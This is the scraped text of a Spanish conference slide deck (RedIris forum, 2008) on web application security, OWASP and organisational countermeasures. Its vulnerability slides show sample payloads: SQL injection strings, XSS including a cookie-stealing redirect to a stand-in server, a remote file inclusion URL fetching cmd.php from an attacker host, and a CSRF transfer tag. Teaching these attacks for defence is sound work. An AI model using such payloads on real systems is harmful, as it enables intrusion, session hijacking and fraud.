VII foro de seguridad RedIris Seguridad en Web

Preview:

Citation preview

fs2008VII foro de seguridad RedIrisSeguridad en WebBCN 27&&28/03

Vulnerabilidades

Dónde están llegando las cosas...Los bancos británicos se aseguran contra el phishing: cargarán las pérdidas a los usuarios de sistemas inseguros. 6. Abril 2008

http://www.kriptopolis.org/bancos-britanicos-cargan-phishing-a-clientes-sistemas-inseguros

La Asociación de la Banca Británica (BBS) ha publicado un código (que ha entrado en vigor el pasado 31 de marzo) que responsabiliza de posibles pérdidas en sus cuentas de banca electrónica a los usuarios que actúen de forma fraudulenta, pero también a todos aquellos que no observen un "cuidado razonable" (punto 12.11).

Lo que la banca británica entiende por "cuidado razonable" se aclara en los puntos 12.5 y 12.9, a los que nos remite. Por ejemplo, el punto 12.9 especifica lo siguiente:

Mantenga seguro su PC. Utilice antivirus y spyware (sic) actualizados y un cortafuegos personal.

Motivaciones

Motivaciones

$1–$6

$2–$12

$14–$18$5$300

$3$3$6–$20$3–5$50–$500$10–$50$12$10

Item

Advertised Price (in US Dollars)

United States-based credit card with card verification valueUnited Kingdom-based credit card with card verification valueAn identity (including US bank account, credit card, date of birth, and government issued identification number)List of 29,000 emailsOnline banking account with a $9,900 balanceYahoo Mail cookie exploit—advertised to facilitate full access when successfulValid Yahoo and Hotmail email cookiesCompromised computerPhishing Web site hosting—per siteVerified PayPal account with balance (balance varies)Unverified PayPal account with balance (balance varies)Skype accountWorld of Warcraft account—one month duration

Advertised prices of items traded on underground economy servers. Source: Symantec Corporation.

Motivaciones

$

Ataques al cliente web● Drive-by downloads

● Software (malware) descargado desde el ordenador sin la intervención o el conocimiento del usuario

● Simplemente por visitar una página Web● Sin pulsar explícitamente en un enlace● Explota vulnerabilidades en el navegador o sus extensiones, software asociado

(Adobe Reader, Flash...), software cliente, o el SO (y librerías)

●¿Cliente Web?

Ataques al servidor web

¿Al servidor web?

Vulnerabilidades más explotadas●Remote File Inclusion●SQL Injection: pero no sólo SQL, cualquier BBDD: LDAP, ficheros...●Cross Site Scripting (XSS)●Cross Site request forgery (CSRF)

Tendencia hacia el:- {ER} Cross Site [a-zA-Z0-9 ]* \([A-Z]*\)

- Cross Site Printing- Cross Site lo que sea...

Ver lista OWASP TOP 10

Vulnerabilidades más explotadas

Anatomía de un ataque típico

SQL InjectionLa inyección de código SQL se produce cuando datos suministrados por el usuario son enviados sin filtrar a un intérprete como parte de una consulta (Query), con el fin de modificar el comportamiento original, para ejecutar comandos o consultas arbitrarias en la base de datos.

<code>sql_query=“SELECT * FROM users WHEREusername = '" + username_string + "' ANDuserpass = '" + password_string + "'"</code>

SQL Injection

Consulta final en DB:

SELECT * FROM users WHEREusername = 'prueba' ANDuserpass = 'test'

username: pruebapassword: test

SQL Injection

Consulta final en DB:

SELECT * FROM users WHEREusername = 'prueba'' ANDuserpass = 'test'

username: prueba'password: test

Microsoft OLE DB Provider for ODBC Drivers(0x80040E14)[Microsoft][ODBC SQL Server Driver][SQLServer]Unclosed quotation mark before the character string' AND userpass=userpass_string'

SQL Injection: 'OR 1=1; - -

Consulta final en DB:

SELECT * FROM users WHEREusername = '' OR 1=1 ;­­  ANDuserpass = 'test'

username:'OR 1=1; ­­ password: test

; DROP TABLE ...; SELECT * FROM ... ...

SQL Injection

Objetivos:

●Evadir autenticaciones, controles de acceso.●Obtener y/o modificar datos arbitrarios de la BBDD●Leer ficheros del sistema operativo●Ejecutar comandos en el S.O.

Blind SQL Injection

XSS Cross Site ScriptingLa vulnerabilidad ocurre cuando una aplicación recibe datos enviados por el usuario, y los devuelve al browser sin validarlos o codificarlos.

Para poder explotar esta vulnerabilidad generalmente el atacante tendrá que engañar a la víctima en abrir un link, visitar una página, ver una imagen, etc...

¿Que se puede hacer con ellos?:

● Robo de información de autenticación y secuestro de cuentas● Robo y envenenamiento de cookies● Phishing● Escaneo de puertos de intranet● Vulnerabilidades del browser

XSS Cross Site ScriptingLa vulnerabilidad ocurre cuando una aplicación recibe datos enviados por el usuario, y los devuelve al browser sin validarlos o codificarlos.

Para poder explotar esta vulnerabilidad generalmente el atacante tendrá que engañar a la víctima en abrir un link, visitar una página, ver una imagen, etc...

Prueba simple:

<script>alert("XSS")</script>

¿Puedo dejarlo de forma permanente? Libro de visitas, SQL Injection, etc..

Lo siguiente un defacement (desfigurar): <html><body><IMG SRC="http://site.com/yourDefaceIMAGE.png"></body></html>

Sin comillas: <script>alert(String.fromCharCode(116, 48, 112, 80, 56, 117, 90, 122))</script>

Obtención de cookies: document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

RFI [Remote] File Inclusion

La inclusión remota de ficheros o código permite a los atacantes incluir código y datos arbitrarios en la aplicación vulnerable, que luego se ejecutará en elservidor.Muchas aplicaciones permiten subir ficheros, fotos,documentos, etc... La inclusión de los ficheros puede ser tanto local como remota.

La podemos encontrar en urls del tipo:

http://vulnsite.com/leer.php?file=news.php http://vulnsite.com/area.php?file=news http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php%00

RFI [Remote] File InclusionSi logramos incluir código, ficheros o realizar un upload podemos...

●Ejecutar comandos a través de una consola web.●(Darkraver web-kit)●Paneles de control (c99, r57)●Cliente SQL a través de http.●Subir y ejecutar cualquier binario (Port redirectors, túneles, etc)● Cualquier cosa que se nos ocurra.

Control total del servidor :P

Failure to Restrict URL AccessUsualmente la aplicación protege solamente las funcionalidades más sensibles, evitando publicar los links o las urls a los usuarios no autorizados.

Los atacantes explotan esta vulnerabilidad accediendo directamente a estas funcionalidades

Existen muchos diccionarios creados para explotaresta vulnerabilidad:

● Diccionarios de distintos idiomas● Diccionarios por contexto dependiendo del● servidor Web, servidor de aplicaciones, y Aplicaciones

/admin :P

CSRF Cross Site Request ForgeryEl atacante fuerza al browser de la víctima a realizar una petición, en la sesión autenticada o no, de una aplicación sin el conocimiento del usuario.

<IMG SRC=”http://www.mibancaonline.com/transferencia.asp?amount=1000000&to_account=3l3373” />

Automatizando los ataquesPara todos estos ataques hay herramientas especializadas y muy potentes:

SQL Injections●Sqlbif: http://www.open-labs.org/●SqPyfia: http://www.edge-security.com●Sqlmap: http://sqlmap.sourceforge.net/●Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

•Failure tor restrict URL access:•Wfuzz: http://www.edge-security.com/wfuzz.php•Dirb: http://www.open-labs.org/

- WebSlayer- ProxyStrike- Mtools- ...

Recomendaciones generales● Activar SIEMPRE las actualizaciones automáticas cuando el

software lo permite● Mantenerse informado sobre los cambios del software

● Página Web Oficial del fabricante● Listas de correo

● Instalar y usar software AntiVirus (No protege contra todo el código malicioso)

● Seguir el principio de: “No lo habilites sino lo necesitas”● Usar cuentas con privilegios limitados

● Administrador para la gestión y el mantenimiento del SO y software● Usuario sin privilegios para el uso diario

● Educar al usuario para evitar comportamientos inseguros

● En Firefox: Extension 'no-script'

Abriendo los ojos

OWASPThe Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks. Everyone is free to participate in OWASP and all of our materials are available under an open source license. The OWASP Foundation is a 501c3 not-for-profit charitable organization that ensures the ongoing availability and support for our work.

gran cantidad de proyectos interesantesOWASP

● Educar desarrolladores, diseñadores, arquitectos y organizaciones sobre las consecuencias de las vulnerabilidades en la seguridad.

● Todos los años contamos con un nuevo proyecto Top Ten.

– A1 - Cross Site Scripting (XSS)

– A2 - Injection Flaws

– A3 - Malicious File Execution

– A4 - Insecure Direct Object Reference

– A5 - Cross Site Request Forgery (CSRF)

– A6 - Information Leakage and Improper Error Handling

– A7 - Broken Authentication and Session Management

– A8 - Insecure Cryptographic Storage

– A9 - Insecure Communications

– A10 - Failure to Restrict URL Access

OWASP Top Ten Project 2007

WebScarab / WebScarab NG● Framework para análisis de aplicaciones que se comunican por HTTP/HTTPS

● Multiplataforma

● Totalmente extensible

● Utilización como proxy: podemos revisar y modificar las peticiones hechas por el navegador antes de ser enviadas al servidor, y revisar y modificar las respuestas del servidor antes que lleguen al navegador. ¿Útil, no? :P

● Análisis SessionID: podemos analizar las cookies de forma fácil

● Simulador de ancho de banda

● Fuzzer: automatizar tareas repetitivas a la hora de reemplazar listas de valores

● ...

● http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

WebScarab / WebScarab NG● White Box Hacking

● Comprobar nuestras propias aplicaciones

● Podemos divertirnos por ahí :P

WebGoat● Una deliberadamente insegura aplicación web J2EE, para aprender lecciones

sobre seguridad web.

● ¿Qué mejor forma de aprender que hacer lo que ellos hacen?

● Conjunto de lecciones sobre ataques que tendremos que pasar, de menor a mayor dificultad.

● Nos da acceso al fuente para que podamos ver qué no debemos hacer, explicaciones de la solución, estadísticas de cómo van nuestros ataques.

● Necesitaremos como herramienta adicional un Proxy HTTP/HTTPS, ¿WebScarab?

● Podemos jugar a hackear cosas, o bajarnos el fuente, arreglarlo, y ver si es segura nuestra forma de programar.

● Es bastante divertido, y a la vez estamos aprendiendo.

WebGoat● Lecciones

– Cross Site Scripting

– Access Control

– Thread Safety

– Hidden Form Field Manipulation

– Parameter Manipulation

– Weak Session Cookies

– Blind SQL Injection

– Numeric SQL Injection

– String SQL Injection

– Web Services

– Fail Open Authentication

– Dangers of HTML Comments

– ...

etc...

WebGoat

● Recomendado para desarrolladores Java para pasar una tarde de domingo.

OWASP Testing Guide v2/3 ● Information Gathering● Authentication● Data Validation Testing: Oracle, LDAP, XSS...● DoS● Web Services● AJAX Testing● Cómo escribir un informe de seguridad

http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents

OWASP Guide v3 ● Próxima traducción al castellano● Es una guía de buenas prácticas:

– Gestión de sesiones, autenticación, autorización, WS, Ajax, Phising, Mantenimiento...

http://www.owasp.org/index.php/Category:OWASP_Guide_Project

OWASP varios● Se está viendo la forma de patrocinar a OWASP por parte de CRUE y

CENATIC

● Todas sus guías las venden en papel, sin ánimo de lucro (14 EUR la más cara con 547pág.)

● Existen muchos más proyectos:

– OWASP Legal Project

– OWASP CSRFGuard Project: filtro J2EE mitigar ataques CSRF

– OWASP LiveCD Education

– Generador de informes de seguridad

– OWASP Code Review

– ...

Software Libre

Software Libre, tenemos un problema

● El hecho que el mercado gire la cabeza hacia el software libre, ha hecho que muchos atacantes también lo hagan hacia él.

– Tienen el código fuente.

– Nosotros no nos preocupamos demasiado. Hemos de estar más al día en BBDD de vulnerabilidades

– No olvidemos que dentro del Software Libre también existen aplicaciones mal hechas.

– Hemos de añadir un factor más en la selección: cuán seguro es un software, antes de cogerlo porque sí.

Software Libre: Soluciones● OPCIÓN 1: preguntadnos

● OPCIÓN 2: yo

– es un producto seguro

– existe un equipo detrás

– estamos dispuestos a meter mano

– bbdd de vulnerabilidades

– lista de correo del producto

Medidas

White Box HackingHemos de “probar” nuestra aplicación, al igual que lo harían ellos, por lo quenos vendrá muy bien seguir el curso de WebGoat.

Este tipo de trabajos deben hacerlo personas ajenas al desarrollo de la aplicación encuestión: - empresa de seguridad externa - formar equipo en ATICA

No lo hagáis, y si lo hacéis por vuestra propia cuenta, por favor, avisad.

“Las aplicaciones seguras no nacen por generación espontánea,son el resultado de una organización, que decide que hará quesus aplicaciones serán seguras...”

Política de seguridad

- Necesitamos de una política de seguridad. Sí, aquí en ATICA.

- Esta ha de ser tomada como un objetivo de la organización.

- No sólo pensemos en la seguridad web, también en la física.

- Hagámos una, y vamos a usarla.

QA¿Tiene calidad nuestro código fuente?

¿Medimos la calidad de nuestro software?

Si no lo medimos difícilmente podremos decirsi es de calidad o no...

“...no tan importante es elegir entre una metodología u otra,como elegir al menos una...”

● ¿Qué metodologías utilizamos?

– Obviamente dependerá del proyecto: RUP, UML, SCRUM

● ¿Por qué?

– El desarrollo ad-hoc es desestructurado a la hora de hacer aplicaciones seguras.

– Existen metodologías que incluyen este objetivo.

● Diseño, testeo y documentación.

● Ahora todos juntos: ¡Diseño, testeo y documentación!

Metodología

Coding Standards

● Tenemos que converger a tener estándares en el código a la hora de programar.

● El mantenimiento se hará más fácil.

● No dependeremos tanto de las personas.

● A alguien nuevo le sería más fácil ponerse al día.

● Por poner un ejemplo: http://java.sun.com/docs/codeconv/html/CodeConvTOC.doc.html

Formación

● Estamos faltos de formación en temas de seguridad

● Soluciones– Autoformación

– Nos formamos entre nosotros (eso estaría bien)

● Sería fructífero contarnos los unos a los otros, aunque sea una vez al año que hacemos. 1 hora de cada 1 de nosotros. Así sabríamos un poco mejor, que cuando uno de nosotros tira una gota a un lago, las ondas llegan hasta la orilla.

– Formación externa

Leer, leer, leer...

● El índice de lectura en España mejora ligeramente y se sitúa en el 57 por ciento

● Y yo digo que el 37,3% de las estadísticas son falsas.

● Sé que no tenemos Labs Days como en Google.

Conclusiones● Necesidad de una política de seguridad● Utilizar metodologías● Utilizar estándares de código● Necesitamos formación en materia de seguridad● Hey! También tenemos deberes nosotros: leer y autoformarnos...● QA, emepecemos a medir nuestra calidad● Concluyo sabiendo que el 90% de vosotros me odiaréis de por vida... (el 37,3% de las estadísticas son falsas)

Un enfoque prácticoUCLM

Similar a la UMU...

Similar a la UMU...

Todos somos la UCLM

http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf

Seguridad en aplicaciones WebProblemática

http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf http://www.sans.org/top20/

OWASP Top10 SANS Top10

Enfoque organizativo

Gestión de la seguridad por perfilesBuscar puntos de control de la seguridad.

Dónde actuar

Dónde actuar

Estrategia de seguridad web

A, administradoresD, desarrolloS, seguridad ¿externa?

WAF, Web Application FirewallsWASS, Web Application Security Scanners

Estrategia de seguridad web

Plan de mejoraSeguridad en aplicaciones webÁmbito: Aplicaciones web corporativas

Marco normativo

Requisitos para las aplicaciones web

Análisis de la situación de partida➔Diferencias entre las directrices y la situación de partida

➔Cuestiones● Personal y organización● Políticas (logs, red, incidentes)➔ Procedimientos y métodos (parcheo, cambios, etc.)● Entorno (red, servicios, etc.)

➔Inventarios● Aplicaciones, bases de datos, servidores y personal● Herramientas, lenguajes, librerías, frameworks

➢ Necesaria adaptación:DesarrolloExplotaciónEvaluaciónApoyo

Adaptación: DESARROLLO

Adaptación: EXPLOTACIÓN

Adaptación: EVALUACIÓN

Adaptación: APOYO

Plan de choque

Futuro

Open Web Application Security Project (OWASP)http://www.owasp.org

Web Application Security Consortium (WASC)http://www.webappsec.org

Center for Internet Security (CIS)http://www.cisecurity.org

Raul Sileswww.raulsiles.com

Referencias

Recommended